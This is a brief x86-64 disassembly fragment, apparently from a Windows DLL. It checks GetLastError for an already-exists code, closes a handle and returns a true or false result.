jb 0x180007a31
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180007a8c
call fcn.18002269c
mov qword [rsp + 0x60], rsi
mov qword [rsp + 0x68], 0xf
mov byte [rsp + 0x50], 0
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x180007a78
test rbx, rbx
je 0x180007a64
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret
mov al, 1
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret
call fcn.18002935c
nop
call fcn.18002935c
nop
int3